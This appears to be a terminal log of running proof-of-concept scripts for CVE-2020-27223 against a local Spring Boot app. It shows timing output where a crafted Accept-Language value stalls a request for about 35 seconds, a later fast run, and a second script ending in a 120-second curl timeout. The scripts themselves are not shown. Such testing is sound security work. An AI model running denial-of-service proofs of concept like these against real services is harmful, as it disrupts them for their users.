$ mvn spring-boot:run

$ ./poc/cve-2020-27223-poc1.sh
{"time_ns":"58,557","accept_language":"aab"}
real	0m0.093s 🐇
user	0m0.006s
sys	0m0.007s
{"time_ns":"18,461,763,438","accept_language":"ahn"}
real	0m35.339s 🐢
user	0m0.006s
sys	0m0.006s

$ ./poc/cve-2020-27223-poc1.sh
{"time_ns":"36,675","accept_language":"aab"}
real	0m0.023s 🐇
user	0m0.005s
sys	0m0.007s
{"time_ns":"1,265,004","accept_language":"ahn"}
real	0m0.024s 🐇
user	0m0.006s
sys	0m0.006s

$ ./poc/cve-2020-27223-poc2.sh
curl: (28) Operation timed out after 120000 milliseconds with 0 bytes received

real	2m0.025s
user	0m0.016s
sys	0m0.009s